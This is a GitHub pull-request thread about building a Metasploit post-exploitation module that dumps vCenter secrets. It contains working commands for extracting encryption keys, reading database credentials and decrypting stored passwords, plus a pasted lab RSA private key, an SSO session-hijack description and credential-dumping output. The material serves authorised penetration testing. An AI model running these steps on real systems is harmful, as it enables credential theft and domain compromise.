rapid7
Add vcenter_secrets_dump post module
Add vcenter_secrets_dump post module
Add post/linux/gather module to dump vCenter vmdir dcAccountPassword and platform certificates. It is intended to be run after successfully acquiring root access on a vCenter appliance and is useful for penetrating further into the environment following a vCenter exploit that results in a root shell. This is my first PR in the history of ever - be gentle.
Unless someone disagrees, @ErikWynter and I have been discussing a full suite of vcenter post enumeration module. We're prob a day or two off of a PR, so I'd like to place this one on hold and combine it into the greater module (naturally keeping credit).
I have two draft modules that could be incorporated into this one:
- this module to automate connecting to the embedded postgresql database with actions to run queries or dump hashes
- and this partially finished module to enumerate active directory information (on vmware center instances running on linux that have AD enabled) using the binaries in
/opt/likewise/binI currently don't have a target for testing so I am not sure when I'll be able to finish the second module (which is the most interesting of the two imo). I usually get access to test systems via my work every week or every other week, and I'd need less than a day to finish it up, so it shouldn't take too long.
I'd be thrilled to see this in use in any capacity and now that you mention additional modules: I am also working on another vCenter-centric module to produce forged SAML assertions + grab /ui session cookie using the looted STS IdP cert, though Ruby xmlsec support appears to be a garbage fire and I'm not ambitious enough to roll my own library. There is no ETA on that one getting finished, not sure if there is another work like that cooking elsewhere but this "full suite" of VC tools sounds cool enough that I might actually put the work in to get it incorporated if you think there is value there.
The original concept was a post gather module, stemming from my need during a pentest. This should be about getting as much info about the host, it's configuration, and what it controls as possible.
Forged saml auth to me sounds like a different module type all together, so not too worried about an overlap
left a few comments, don't worry about making changes. I'm working on stuff in the background with @ErikWynter so while it may seem like this module is being ignored, trust me it's not, he's working on his portion, and i'm working on getting all the pieces glued together to make a really thorough module.
Came across these certs and keys:
sh-4.3$ ls -la /etc/vmware-vpx/ssl
drwxr-x--- 2 root cis 4096 Feb 15 2021 .
drwxr-xr-x 13 root root 4096 Feb 15 2021 ..
-rw-r----- 1 root cis 1619 Aug 13 2018 data-encipherment.crt
-rw-r----- 1 root cis 1708 Aug 13 2018 data-encipherment.key
-rw-r----- 1 root cis 1501 Aug 13 2018 rui.crt
-rw-r----- 1 root cis 1708 Aug 13 2018 rui.key
-rw------- 1 root root 65 Aug 13 2018 symkey.dat
-rw-r----- 1 root cis 1602 Aug 13 2018 vcsoluser.crt
-rw-r----- 1 root cis 1704 Aug 13 2018 vcsoluser.key
I know that symkey.dat is the key used to encrypt the vpxuser password, but I have no idea what the rest is for. Do you maybe have an idea @npm-cesium137-io ?
The data-encipherment.key is used to encrypt secrets in exportable vSphere configs, such as customization specifications (https://kb.vmware.com/s/article/74963). Now that you mention it, this would be EXTREMELY useful in the context of, say, extracting a VM Guest Customization spec XML that contains a domain user (or admin) credential protected by this key. That sounds like an idea I may investigate further, perhaps worth an additional aux module? That sounds like it has excellent potential.
rui is the cert attached to the HTTPS admin point (default site), it is basically just a copy of MACHINE_CERT. At least, it is on ESXi hosts. Examining a few example appliances that appears to be the case for vCenter too.
vcsolutionuser is the Solution User credential for vCenter, used for authenticating vCenter to the SSO domain (https://docs.vmware.com/en/VMware-vSphere/7.0/com.vmware.vsphere.authentication.doc/GUID-3AF7757E-A30E-4EEC-8A41-28DA72102520.html). This, too, gives me an idea about potentially using this cert credential to go from root -> SSO admin via the vCenter solution user. Might look into this.
From: Erik Wynter <> Sent: Sunday, April 24, 2022 8:52 PM To: rapid7/metasploit-framework @.> Cc: npm-cesium137-io @.>; Mention @.***> Subject: Re: [rapid7/metasploit-framework] Add vcenter_secrets_dump post module (PR #16465)
Came across these certs and keys:
sh-4.3$ ls -la /etc/vmware-vpx/ssl drwxr-x--- 2 root cis 4096 Feb 15 2021 . drwxr-xr-x 13 root root 4096 Feb 15 2021 .. -rw-r----- 1 root cis 1619 Aug 13 2018 data-encipherment.crt -rw-r----- 1 root cis 1708 Aug 13 2018 data-encipherment.key -rw-r----- 1 root cis 1501 Aug 13 2018 rui.crt -rw-r----- 1 root cis 1708 Aug 13 2018 rui.key -rw------- 1 root root 65 Aug 13 2018 symkey.dat -rw-r----- 1 root cis 1602 Aug 13 2018 vcsoluser.crt -rw-r----- 1 root cis 1704 Aug 13 2018 vcsoluser.key
I know that symkey.dat is the key used to encrypt the vpxuser password, but I have no idea what the rest is for. Do you maybe have an idea @npm-cesium137-io https://github.com/npm-cesium137-io ?
— Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/pull/16465#issuecomment-1107956776 , or unsubscribe https://github.com/notifications/unsubscribe-auth/AYYVYMYHALF7RM2C4JGAWS3VGXUCPANCNFSM5TURX5DQ . You are receiving this because you were mentioned. https://github.com/notifications/beacon/AYYVYM5LHFBA4AW5GNCSLGDVGXUCPA5CNFSM5TURX5D2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOIIFBIKA.gif Message ID: @.*** @.***> >
@npm-cesium137-io thanks for all the info! couple points:
- the possible attack leveraging the data-encipherment.key sounds awesome. I do think we may be able to include that still in the same module though. As @h00die mentioned, we would like to turn this into an elaborate post gather module that you can just point to a vcenter shell and have it absolutely plunder the host for any valuable info it can access based on the privs. this would include the attacks in your original module, enumeration of active directory (if possible) via likewise binaries and connecting to the embedded postgresql database to run queries on that.
- if the rui cert is just a copy of MACHINE_CERT, it would be easier and neater to simply read that file to obtain this, instead of using
cmd_execas the current module does. what do you think?
btw @npm-cesium137-io since you seem to be far more familiar with vcenter internals than I am, I wanted to ask if you think we can use the contents of /var/lib/likewise for anything interesting:
/var/lib/likewise/:
total 56
drwxr-xr-x 3 root root 4096 Jan 27 10:37 .
drwxr-xr-x 6 root root 4096 Jan 27 10:58 ..
drwxr-xr-x 2 root root 4096 Jan 27 10:36 db
-rw-r--r-- 1 root root 177 Jan 19 01:04 krb5-affinity.conf
-rw-r--r-- 1 root root 1564 Jan 27 09:24 krb5cc_lsass.TEST.COM
-rw-r--r-- 1 root root 33474 Sep 28 07:01 lwconfig.xml
/var/lib/likewise/db:
total 232
drwxr-xr-x 2 root root 4096 Jan 27 10:36 .
drwxr-xr-x 3 root root 4096 Jan 27 10:37 ..
-rw-r--r-- 1 root root 90112 Jan 27 08:24 active.db
-rw-r--r-- 1 root root 8077 Jan 26 23:54 lsass-adcache.filedb.TEST.COM
-rw-r--r-- 1 root root 90112 Jan 27 08:24 registry.db
-rw-r--r-- 1 root root 40960 Jun 26 2020 sam.db
I know that the .db files are sqlite3 database files that you can simply access using an sqlite browser like DB Browser. However, I have never found these files to contain anything of value. The lsass and config files seem interesting but I'm not sure if those can actually be used for anything significant?
I'm getting excited about the potential of this module's ultimate form. I am going to re-write this and significantly refactor based on what I've learned from PR#16484 and some of the comments here. Intend to include functionality to pull some of these keys (data-encipherment specifically) and also export configs that may contain secrets such as customization specifications. It would be nice to have an easy path from VCSA -> domain user, plus we should be able to pull things like Windows product keys assuming they're present. Possibly a static local admin password, too. Many possibilities. This could become quite a powerful post module. I will see what I can come up with!
The reason I chose cmd_exec vs. reading rui is that it is "usually" a copy of MACHINE_SSL, but that's not deterministic. Actually there is a crapton about vSphere data that is not deterministic particularly if the instance started on a Here Be Dragons version of SSO like 5.0. SSO has evolved significantly since then but there is still lots of baggage between major versions (CVE-2020-3952 anyone?) - 7.0 U1 actually started addressing some of this (https://kb.vmware.com/s/article/79741). Bottom line I've seen rui and MACHINE_SSL diverge so I picked the most "authoritative" (IMO) source for the data.
Likewise definitely has goodies in it, registry.db is where I'm pulling dcAccountDN / dcAccountPassword. The output you have above suggest your vCenter instance is AD-joined to a domain with FQDN "TEST.COM" which is why you have those files there (they will not be if using native LDAP, or there is no external directory ID). lsass-adcache.filedb.TEST.COM is your Kerberos ticket cache for that domain, might be some useful stuff in there, and I'm pretty sure krb5cc_lsass.TEST.COM is the machine's current krb5 cred. Possible to parlay this into authenticated domain access? Very possible.
Random thought: would an additional aux module be worthwhile, for processing this data offline and not necessarily post (think "hey I found a readable vCenter appliance backup repo")? We could feed it things like individual files, or just the path to the backup archive, and let it rip out what it can. You could already get a significant number of secrets including dcAccount creds / certificates this way. Pulling out IdP cert and key would be harder but far from impossible.
I've done similar for networking configs in the past: #12065 so it wouldn't be out of the question.
I made progress:
Step 1: Acquire the encipherment keys. You can grab these out of vecs-cli with
/usr/lib/vmware-vmafd/bin/vecs-cli entry getkey --store data-encipherment --alias data-encipherment > /tmp/data.key
/usr/lib/vmware-vmafd/bin/vecs-cli entry getcert --store data-encipherment --alias data-encipherment > /tmp/data.pem
Step 2: Get the VCDB username, PW, and DB name, however you do that. I assume you're doing something like:
VCDB_NAME=$(cat /etc/vmware-vpx/vcdb.properties | grep jdbc:postgresql:// | awk -F '/' '{print $4}' | awk -F '?' '{print $1}')
VCDB_USER=$(cat /etc/vmware-vpx/vcdb.properties | grep username | awk -F '=' '{print $2}'| tr -d ' ')
VCDB_PW=$(cat /etc/vmware-vpx/vcdb.properties | grep password | grep -v encrypted | awk -F '=' '{print $2}'| tr -d ' ')
Step 3: Extract the customization XML from VCDB (I am targeting only the vpx_customization_spec table in this case, but host profiles may be another good'n) by doing:
psql "postgresql://$VCDB_USER:$VCDB_PW@localhost/$VCDB_NAME" -c "SELECT body FROM vpx_customization_spec WHERE name IN (SELECT name FROM vpx_customization_spec);" -P pager off
or similar - will require cleanup due to psql mangling the output, there is probably a whizzbang way to do this in psql but I don't know psql syntax well enough.
Step 4: Validation: the XML specs will include an <encryptionKey> element, which include <_length> and <_type> data. Type is the native data type (byte[]) and length is the total size of the data. The data is in signed bytes (smells like Java). If you unpack the collection of
Step 5: Decryption: for PoC I just used OpenSSL and a canary local admin password I had set in my template on a lab vCenter instance so I'd have to figure out how to make Ruby do this but for the record: only the data-encipherment private key is required for this operation. OpenSSL must explicitly set rsa_padding_mode:none and use the -rev option to recover the plaintext.
# cat /tmp/data.key
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvgbCJcGa6qIfL8nmLO+SqAp9tQcRyg5rSk875OMX40QAGuH6
k5DzAYxw7lO2P7q5iAZazkVI9w0F0FswmKQp6ttGeRXQUFpp4wL4Vt+8ajT1Ybp/
kfrdhfljswbBPjcwXzNm99Q9IGgsgqPbqxi/MatYXj23Eoc00Rh2XBS7qmoCRFgV
YdYyo1kaUV+glBqcVVq7dt8m2ldoGc61/xwpOizlHmsay7i7LOe2iWs/dBp5Q+7+
pFIFiQ4i/PgnMV+pMXoexvh8cNoA3rfGuSA1g1Ha6SuVwagDI8Ko9XDHtni2MOip
OvZKWLXuTiB6CFbTmnysq0jRN7mZiMVHVysnhwIDAQABAoIBAAWD0LKj0ckpd1o9
s85uDYWO+GL+l4eTr41yizxzUsgnuxEMqecKd+L9nnFsQIfM9YF7HbuKyzlQSXDo
lJp5eTX1sy/kcC1E0nniJi7vQ1qZut1hOj6UV0WCHWCeu5EArQi2RzC+GiAMpe4M
r11h1HqujFv/0oZZIjFHUngNqfyiFi1bsrKIyzplmtjurl2IuVcatWO678WZYwf1
QdxeEWtL5GabxyfLQJvU9SJC+YmH3TR4dlr1XBM1R/c3QMA1HsOK9V7LymNuHaOT
wLhU/nYv0JcxX9UDw3lRJeHNpV55UWibkbKueqHgM4+S2Is0l4pWwNjviUPG2ZqZ
Pspw4vECgYEA3S1WTTUSO1ZTXV1ZorSKAseuoktLpg0wBMYA5WkIX+kv7wkF+kq1
2LUJNzvP/OEmCFjwnRxxPMqFo/yuNTunc7xqmtcahkMH0aZ3gKZ/Z9iZJ7mla33P
HMIPjscUlJe3sg7mqE2+4m6Sn+SB6Nn9044IuKrCZwYN32cwm5ciyKsCgYEA2/Hg
ICs4BN6K0eC0hYQppsRPsxaJElx58dE1NVBd16tCc/9MH8EGD4vY+8Ywaydb+vew
vjXQOXVma41zIsGDlgHicAzIiUME6uL/5bDzVoac3mPAcQJ9Ck7FyMHwoox9u//1
T38YAMRWzCec76jyEbCemEAAman7wozfloa9FJUCgYBjG+i7KhfkXPd4M9dxsELT
ohTgBqt8WhZ1XSCTrDAjgkOHclyqXoYD+IOLq5K0t1MqlGgljtQzMHEYHacWlYeg
tgJzJgZtuWWsjVKpZHJc31Mp2OeGNlbzhQYhrZXMS/v1nvW+3y+1GWU8ntGTvPMf
tFq2HVaFgdH/lKbUYbIlhwKBgGyRYo6+hrJwn5mmD7XwXRcCxEykjRjRKSiiml8s
woXY9b6IgK0T/MfjwkHVvMTH8vFZHpdlvNkACISCmBjJ6Qg8+edRiBOpT14amzJo
PFWzsO9d0fp2vf4+kAbfJMc4DkCkwhRxqgmG4Ul5LFBo1sTAqCiDP0iazbllDGEj
NWZZAoGAXf8vtepwRTfTMKF3Sh2bmft9VDmIbkL4b5m5/QtsVGS9fq1H577FD3M2
j0pZ3maNXjRdcn5lNMBg8NVQIWWdNFbg2B2nFWQHZYrKUY2hN/iZ6FkFTpYp1wLE
c0CUZUEOoNSCsVkcmL9JDq0DWiSA427utoAJPJ8/0PNW2sT60Sc=
-----END RSA PRIVATE KEY-----
# echo vSCKFTX9uZ8q37G2lZBNwRiuvjkZc/2Nr4n5lcfg1ZNqiIa+hUAD/tTz8Z7nR4ikix77o/WtMBL4BRCG7ySyWlwoiSuMKYpqO/EDW9E4P9wy8uznpnsj+nNfcNS0j6LOHDgiZooqa+0b7F/791VJ7Dwjjz8HJ0qQbacrmjp7U5Rx8q07I+bipqKl9NsksWPZLBu+WNFo/QbbXbYLB3DRWZRb5IYZ6gTvtBWcPa2pnpVFipQOnHi/5mEiNRqSpvGGLDqNTQs5kciBMaskmPCWGBWJv60EEtl1q0otstPxagCK0bWY4b/AwkTkfY6QDCzDVaENDE1OA/LlXJviy20rMA== | openssl base64 -d -out /tmp/encrypted.bin
# openssl pkeyutl -decrypt -in /tmp/encrypted.bin -inkey /tmp/data.key -pkeyopt rsa_padding_mode:none -rev
Metasploit1$
Should I continue with this? It sounds like you've already got hooks into psql and don't want to re-invent the wheel.
I know there is another vSphere secrets module in development and I'm still adding major functional portions to this, let me know if I should re-open this as a draft PR since it's kinda in progress.
I'd much rather not lose the ideas, put whatever and you'll see when I start the combining
@npm-cesium137-io nice! my draft module for connecting to the postgresql database already has functionality to grab the required credentials for VCDB from either /root/.pgpass (if we have root) or from /etc/vmware-vpx/vcdb.properties if we don't. @h00die could try and combine them. I've had terrible luck getting a new target so still haven't been able to test and finish several attacks I wanted to include. please check https://github.com/ErikWynter/metasploit-framework/blob/vcenter_gather_postgresql/modules/post/multi/gather/vmware_vcenter_gather_postgresql.rb for details
@ErikWynter Thanks, I will definitely take a look, esp. to see how you're dealing with all the potential special characters in the creds. Shell-escaping issues are the #1 bug I have and continue to have. Not sure if I'll ever get it to run 100% error-free on EVERY INSTANCE I target but that is the goal. Thankfully I have an embarrassment of riches to choose from RE: vCenter targets, and a fairly robust lab with ephemeral targets so we might be able to work something out if you have need of a specific target. I just committed a fairly major change with added support for vSphere 6.0 and significantly improved reliability based on a bunch of testing on additional instances, some with quirky configs - a couple corner cases I have to tackle.
@npm-cesium137-io I haven't run into to issues resulting from special chars in the creds yet. If we have root, the module will try to leverage the /root/.pgpass file to authenticate. It's not actually necessary to specify the password in that case, so it just specifies the username. If we don't have root, or the first method didn't work, it will try and grab the vc user creds from /etc/vmware-vpx/vcdb.properties and then use them to export the password. So far this worked fine, but I've only tested it against 1 system.
Btw, I've been looking at CVE-2022-22948 (pdf), since it would be an amazing addition. I was able to replicate the example findings, but so far I couldn't try this on a real target because I didn't have root access. I did have access to the DB on a target recently, but was unable to obtain the value of the Initialization Vector (IV), even though that is supposed to be stored in the DB (they don't say where though). I only had access as the vc user, so not sure if it could have been a permissions thing preventing me from accessing all schemas? But I enumerated the VCDB using the vc schema and found nothing that resembled the VI/nonce. Do you have any idea where this could be stored? Once we locate it, it shouldn't be hard to perform the full attack chain on vulnerable instances and obtain the plaintext vpxuser passwords.
The two main things I want to test are CVE-2022-22948 and AD enumeration. I would definitely appreciate it if there's a way for you to help me with that. If so, please ping me on the Metasploit Slack (I'm wynter) or dm me on Twitter.
@ErikWynter I hit you up on Slack and also just pushed a commit RE: CVE-2022-22948 that adds code to decrypt the vpxuser credential using symkey.dat, feel free to use it however you want.
Just came across your fantastic work. I haven't read yet the module content, just in case you find it useful, here is how to get the machine account password: https://github.com/HynekPetrak/HynekPetrak/blob/master/take_over_vcenter_670.md#geting-credentials-to-vcenter
Details for the CVE-2021-21991:
websso.log in /storage/log/vmware/sso/ is leaking SSO session IDs of users accessing the vcenter. The log file in vulnerable versions is readable by low privilege users. I.e. a way to elevate from low priv exploits like CVE 2021-21972, CVE-2021-21985 or other.
Log excerpt:
[2021-03-05T18:31:41.769+05:30 tomcat-http--35 71b<redacted_guid>691 INFO com.vmware.identity.samlservice.AuthnRequestState] authn method PASSWORD session Session [id=_db<redacted>c8d, principalId={Name: administrator, Domain: vsphere.local}, expireDate=Sat Mar 06 02:31:41 IST 2021, authnMethod=PASSWORD, logoutRequestData=null, extIDPSessionID=null, participants=[]]
Cookies to be set, assuming session is still active (not logged out and expireDate in future):
- VSPHERE-USERNAME =
[email protected] - CastleSessionvsphere.local =
_db<redacted>c8d
(CVE-2020-3952 anyone?)
Me. But that's mainly covered by https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb
Btw. vmware maintains some of the vcenter core components (registry, vmdir, vmafd, vmca, sso ... ) as open source at https://github.com/vmware/lightwave
I also added vpxuser hash decryption using symkey.dat to my postgresql module.
I currently have a target that's plugged into AD, so I'm hoping that I'll be able to finish the AD enumeration draft module tomorrow. After that we should really start looking into merging all this cool stuff into one or maybe two modules.
Sample output:
[*] Running command: export PGPASSFILE='/root/.pgpass'; /opt/vmware/vpostgres/current/bin/psql -h localhost -p 5432 -d VCDB -U postgres -w -c 'SELECT user_name, password, local_ip_address, ip_address, dns_name FROM VPX_HOST;'
[*] Received query response:
user_name | password | local_ip_address | ip_address | dns_name
-----------+-------------------------------------------------------------------------------------------+------------------+----------------+----------------------
vpxuser | *[obfuscated]== | 192.168.20.20 | 192.168.20.10 | 192.168.20.10
vpxuser | *[obfuscated]== | 192.168.20.20 | 192.168.20.15 | test1.local
(2 rows)
[+] Saving VPXUSER_HASHDUMP result to /root/.msf4/loot/20220505143313_default_192.168.20.20_vcenter_vpxdump_801408.txt
[*] Attempting to obtain the symkey that can be used to decrypt the vpxuser hashes from /etc/vmware-vpx/ssl/symkey.dat
[+] Obtained the following symkey: [obfuscated]
[*] Attempting to crack the 2 vpxuser passwords we have obtained.
[*] Attempting to decrypt the vpxuser hash for the remote host 192.168.20.10
[*] Using the following command: echo '[obufscated]' | openssl enc -aes-256-cbc -A -a -d -K [obfuscated] -iv [obfuscated]
[+] Password decrypted! Remote host:192.168.20.10 - Username:vpxuser - Password:[obufscated]
[*] Attempting to decrypt the vpxuser hash for the remote host 192.168.20.15 (test1.local)
[*] Using the following command: echo '[obufscated]' | openssl enc -aes-256-cbc -A -a -d -K [obfuscated] -iv [obufscated]
[+] Password decrypted! Remote host:192.168.20.15 (test1.local) - Username:vpxuser - Password:[obufscated]
[+] Obtained 2 plaintext passwords:
user_name | password | local_ip_address | ip_address | dns_name
-----------+----------------------------------+------------------+----------------+----------------------
vpxuser | [obfuscated] | 192.168.20.20 | 192.168.20.10 | 192.168.20.10
vpxuser | [obfuscated] | 192.168.20.20 | 192.168.20.15 | test1.local
[*] Saving the results to /root/.msf4/loot/20220505143314_default_192.168.20.20_vpxuser_pwds_622134.txt
@HynekPetrak thanks all this info - this is great stuff. I nearly fell over when I first found the lightwave git repo!
So I finally finished my AD enumeration module for vcenter. It could probably use some cleaning up and extra error handling, but it's solid enough for us to start working on integrating it. Example output:
msf6 post(multi/gather/vmware_vcenter_ad_enum) > run
[*] Attempting to enumerate users via the /opt/likewise/bin/lw-enum-users binary...
[*] Saving raw lw-enum-users output to /root/.msf4/loot/20220505170052_default_192.168.1.1_vcenter_users_ra_022115.txt before trying to parse it
[+] Obtained info on a total of 266 users, including 2 local users and 264 domain users.
[*] Saving parsed domain user info in JSON format to /root/.msf4/loot/20220505170052_default_192.168.1.1_vcenter_ad_users_733105.json
[*] Saving local user info in JSON format to /root/.msf4/loot/20220505170052_default_192.168.1.1_vcenter_local_us_391560.json
[*] Attempting to enumerate groups via the /opt/likewise/bin/lw-enum-groups binary...
[*] Saving raw lw-enum-groups output to /root/.msf4/loot/20220505170053_default_192.168.1.1_vcenter_group_ra_270076.txt before trying to parse it
[*] Saving group info on 178 groups in JSON format to /root/.msf4/loot/20220505170053_default_192.168.1.1_vcenter_groups_123836.json
[*] Obtained 2 FQDN(s):
TEST.LOCAL
TEST.COM
[*] Attempting to enumerate domain controllers for the domain TEST.LOCAL via the /opt/likewise/bin/lw-get-dc-list binary...
[*] Saving raw lw-get-dc-list output to /root/.msf4/loot/20220505170053_default_192.168.1.1_vcenter_dcs_raw_558640.txt before trying to parse it
[+] Obtained 7 domain controller(s) for TEST.LOCAL
[*] Attempting to enumerate domain controllers for the domain TEST.COM via the /opt/likewise/bin/lw-get-dc-list binary...
[-] Domain controller enumeration via the binary /opt/likewise/bin/lw-get-dc-list failed for TEST.COM: The output file was empty.
[*] Saving enumerated domain controllers in JSON format to /root/.msf4/loot/20220505170054_default_192.168.1.1_vcenter_dcs_363496.json
[*] Post module execution completed
@ErikWynter this is really cool! I tested it against a couple instances including those with external PSC, and it ran fine / produced output, didn't die ungracefully with some whack configs either. How do you want to go about integrating? vcenter_secrets_dump has ballooned to almost 1,000 lines, would it be easier if I attempted to integrate this functionality into it, or would you rather try to merge in my stuff into yours? If you want me to take a stab at plugging it into secrets_dump as an additional routine let me know!
you all are monsters. Love that everyone is adding knowledge here. now that the nfs module should be near completion, I'll start working through this!
if we can, lets do a code freeze right now just so i'm not trying to hit a moving target between the two code branches
don't fix this, just noting it during my testing.
[*] Extract ESXi host vpxuser credentials ...
[!] No ESXi hosts attached to this vCenter system
[*] Extracting vSphere SSO domain secrets ...
[*] Dumping vmdir schema to LDIF ...
[-] Post failed: NoMethodError undefined method `gsub' for nil:NilClass
[-] Call stack:
[-] /metasploit-framework/modules/post/linux/gather/vcenter_secrets_dump.rb:210:in `vmdir_dump'
[-] /metasploit-framework/modules/post/linux/gather/vcenter_secrets_dump.rb:128:in `run'
[*] Post module execution completed